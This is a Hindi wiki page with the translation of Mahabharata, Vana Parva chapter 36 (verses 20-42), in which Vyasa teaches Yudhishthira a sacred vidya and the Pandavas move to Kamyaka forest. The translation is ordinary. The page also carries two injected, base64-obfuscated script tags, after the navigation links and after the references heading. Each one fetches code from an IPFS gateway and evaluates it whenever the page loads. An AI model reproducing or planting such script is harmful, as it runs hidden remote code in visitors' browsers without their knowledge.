महाभारत वन पर्व अध्याय 36 श्लोक 20-42

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ

षट्त्रिंश (36) अध्‍याय: वन पर्व (अर्जुनाभिगमन पर्व)

महाभारत: वन पर्व: षट्त्रिंश अध्याय: श्लोक 20-42 का हिन्दी अनुवाद

वृकोदर ! सूतपुत्र कर्ण के हाथों की फुर्ती समस्त धनुर्धरों से बढ़-चढ़कर है। उसका स्मरण करके मुझे अच्छी तरह नींद नहीं आती। वैशम्पायनजी कहते हैं-जनमेजय ! युधिष्ठिर यह वचन सुनकर अत्यन्त क्रोधी भीमसेन उदास और शंकायुक्त हो गये । फिर उनके मुंह से कोई बात नहीं निकली। दोनों पाण्डवों में इस प्रकार बातचीत हो ही रही थी कि महायोगी सत्यवतीनन्दन व्यास वहां आ पहुंचे। पाण्डवों ने उठकर उनकी अगवानी की और यथायोग्य पूजन किया। तत्पश्चात् वक्ताओं में श्रेष्ठ व्यासजी युधिष्ठिर से इस प्रकार बोले- व्यासजीने कहा-नरश्रेष्ठ महाबाहु युधिष्ठिर ! मैं ध्यान के द्वारा तुम्हारे मन का भाव जान चुका हूं। इसलिये शीघ्रतापूर्वक यहां आया हुं। शत्रुहंता भारत ! भीष्म, द्रोण, कृपाचार्य, कर्ण, अश्वत्थामा, धृतराष्ट्र पुत्र दुर्योधन और दुःशासन से भी जो तुम्हारे मन में भय समा गया है, उसी मैं शास्त्रीय उपाय से नष्ट कर दूंगा। राजेन्द्र ! उस उपाय को सुनकर धैर्यपूर्वक प्रयत्नद्वारा उसका अनुष्ठान करो। उसका अनुष्ठान करके शीघ्र ही अपनी मानसिक चिंता का परित्याग कर दो। तदनन्तर प्रवचनकुशल पराशरनन्दन व्यास जी युधिष्ठिर को एकान्त में ले गये और उनसे यह युक्तियुक्त वचन बोले- भरतश्रेष्ठ ! तुम्हारे कल्याण का सर्वश्रेष्ठ समय आया है, जिससे धनुर्धर अर्जुन युद्ध में शत्रुओं को पराजित कर देंगे। ‘मेरी दी हुई इस प्रतिस्मृति नामक विद्या को ग्रहण करो, जो मूर्तिमयी सिद्धि के समान है। तुम मेरे शरणागत हो, इसलिये मैं तुम्हें इस विद्या का उपदेश करता हूं। ‘जिसे तुम से पाकर महाबाहु अर्जुन अपना सब कार्य सिद्ध करंेगे। पाण्डुनन्दन ! ये अर्जुन दिव्यास्त्रों की प्राप्ति के लिये देवराज इन्द्र, रूद्र, वरूण, कुबेर तथा धर्मराज के पास जाय। ये अपनी तपस्या और पराक्रम से देवताओं को प्रत्यक्ष देखने में समर्थ होंगे। ‘भगवान् नारायण जिसके सखा हैं, वे पुरातन महर्षि महातेजस्वी नर ही अर्जुन हैं। सनातन देव, अजेय, विजयशील तथा अपनी मर्यादा से कभी च्युत न होनेवाले हैं। महाबाहु अर्जुन इन्द्र, रूद्र तथा अन्य लोकपालों से दिव्यास्त्र प्राप्त करके महान् कार्य करेंगे। ‘कुन्तीकुमार ! पृथिवीपते ! अब तुम अपने निवास के लिये इस वन से किसी दूसरे वन में, जो तुम्हारे लिये उपयोगी हो, जाने की बात सोचो। ‘एक ही स्थान पर अधिक दिनों तक रहना प्रायः रूचिकर नहीं होता। इसके सिवा, यहां तुम्हारा चिरनिवास समस्त तपस्वी महात्माओं के लिये तप में विघ्न पड़ने के कारण उद्वेगकारक होगा। ‘यहां हिंसक पशुओं का उपयोग-मारने का काम हो चुका है तथा तुम बहुत से वेद-वेदांगों के पारगामी विद्वान् ब्राह्मणों का भरण-पोषण करते हो (और हवन करते हो), इसलिये यहां लता-गुल्म और आषधियों का क्षय हो गया है।’ वैशम्पायनजी कहते हैं-जयमेजय ! ऐसा कहकर लोकतत्व के ज्ञाता एवं शक्तिशाली योगी परम बुद्धिमान् सत्यवतीनन्दन भगवान् व्यासजी ने अपनी शरण में आये हुए पवत्रि धर्मराज युधिष्ठिर को उस अत्युत्तम विद्या का उपदेश किया और कुन्तीकुमार की अनुमति लेकर फिर वहीं अन्तर्धान हो गये। धर्मात्मा भेधावाी संयतचित्त युधिष्ठिर ने उस वेदोक्त मन्त्र केा मन से धारण किया और समय-समयपर सदा उसका अभ्यास करने लगे। तदनन्तर वे व्यासजी को आज्ञा से प्रसन्नतापूर्वक द्वैतवन से काम्यक-वन में चले गये, जो सरस्वती के तटपर सुशोभित है। महाराज ! जैसे महर्षिगण देवराज इन्द्र का अनुसरण करते हैं, वैसे ही वेदासदि शास्त्रों की शिक्षा तथा अक्षर ब्रह्मतत्व के ज्ञान से निपुण बहुत-से तपस्वी ब्राह्मण राजा युधिष्ठिर के साथ उस वन में गये। भरतश्रेष्ठ ! वहां से काम्यकवन में आकर मंत्रियों और सेवकों सहित महात्मा पाण्डव पुनः वहीं बस गये। राजन् ! वहां धनुर्वेद के अभ्यास में तत्पर हो उत्तम वेद मन्त्रों का उद्घोष सुनते हुए, उन मनस्वी पाण्डवों ने कुछ काल तक निवास किया। वे प्रतिदिन हिंसक पशुओं को मारने के लिये शु़द्ध (शास्त्रानुकूल) बाणों का शिकार खेलते थे एवं शास्त्र की विधि के अनुसार नित्य पितरों तथा देवताओं को अपना-अपना भाग देते थे अर्थात् नित्य श्राद्ध और नित्य होम करते थे।

इस प्रकार श्रीमहाभारत वनपर्व के अन्तर्गत अर्जुनाभिगमनपर्व में काम्यकवनगमनविषयक छत्तीसवां अध्याय पूरा हुआ।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>